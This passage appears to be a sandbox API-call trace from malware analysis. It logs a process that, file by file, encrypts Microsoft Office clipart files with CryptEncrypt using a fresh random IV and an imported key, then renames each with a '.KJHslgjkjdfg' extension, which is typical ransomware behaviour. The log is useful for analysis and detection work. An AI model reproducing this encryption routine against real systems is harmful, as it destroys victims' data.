0x2ef0000 [0192.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.555] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.555] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.557] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.557] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.557] GetProcessHeap () returned 0x2ef0000 [0192.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.558] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.558] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.558] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.558] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.558] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.558] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.558] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.558] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.558] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.558] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.558] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.558] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16cc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16cc, lpOverlapped=0x0) returned 1 [0192.559] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16d0, dwBufLen=0x16d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16d0) returned 1 [0192.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.559] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16d0, lpOverlapped=0x0) returned 1 [0192.559] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.560] SetEndOfFile (hFile=0x130) returned 1 [0192.562] GetProcessHeap () returned 0x2ef0000 [0192.562] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.562] GetProcessHeap () returned 0x2ef0000 [0192.562] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.kjhslgjkjdfg")) returned 1 [0192.567] CloseHandle (hObject=0x130) returned 1 [0192.567] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0192.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.567] GetProcessHeap () returned 0x2ef0000 [0192.567] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.567] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.568] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0192.569] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.569] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.569] GetProcessHeap () returned 0x2ef0000 [0192.569] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.569] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.569] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.569] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.569] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.569] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.569] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.570] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.570] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.570] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.570] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbc4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbc4, lpOverlapped=0x0) returned 1 [0192.570] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbd0) returned 1 [0192.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.570] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbd0, lpOverlapped=0x0) returned 1 [0192.570] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.570] SetEndOfFile (hFile=0x130) returned 1 [0192.570] GetProcessHeap () returned 0x2ef0000 [0192.571] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.571] GetProcessHeap () returned 0x2ef0000 [0192.571] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.571] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.kjhslgjkjdfg")) returned 1 [0192.573] CloseHandle (hObject=0x130) returned 1 [0192.573] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0192.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.574] GetProcessHeap () returned 0x2ef0000 [0192.574] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.574] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.574] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0192.576] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.576] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.576] GetProcessHeap () returned 0x2ef0000 [0192.576] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.576] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.576] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.576] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.577] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.577] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.577] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.577] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.577] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.577] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.577] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xac4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xac4, lpOverlapped=0x0) returned 1 [0192.577] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xad0, dwBufLen=0xad0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xad0) returned 1 [0192.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.577] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xad0, lpOverlapped=0x0) returned 1 [0192.577] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.577] SetEndOfFile (hFile=0x130) returned 1 [0192.580] GetProcessHeap () returned 0x2ef0000 [0192.580] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.580] GetProcessHeap () returned 0x2ef0000 [0192.580] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.580] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.kjhslgjkjdfg")) returned 1 [0192.582] CloseHandle (hObject=0x130) returned 1 [0192.582] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0192.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.583] GetProcessHeap () returned 0x2ef0000 [0192.583] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.583] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.583] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.584] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.585] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.585] GetProcessHeap () returned 0x2ef0000 [0192.585] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.585] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.585] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.585] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.585] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.585] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.585] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.585] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.585] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.585] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.585] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.585] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.585] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ccc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ccc, lpOverlapped=0x0) returned 1 [0192.586] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1cd0, dwBufLen=0x1cd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1cd0) returned 1 [0192.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.586] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1cd0, lpOverlapped=0x0) returned 1 [0192.586] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.586] SetEndOfFile (hFile=0x130) returned 1 [0192.588] GetProcessHeap () returned 0x2ef0000 [0192.589] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.589] GetProcessHeap () returned 0x2ef0000 [0192.589] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.kjhslgjkjdfg")) returned 1 [0192.595] CloseHandle (hObject=0x130) returned 1 [0192.595] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0192.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.596] GetProcessHeap () returned 0x2ef0000 [0192.596] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.596] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.596] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0192.598] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.598] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, 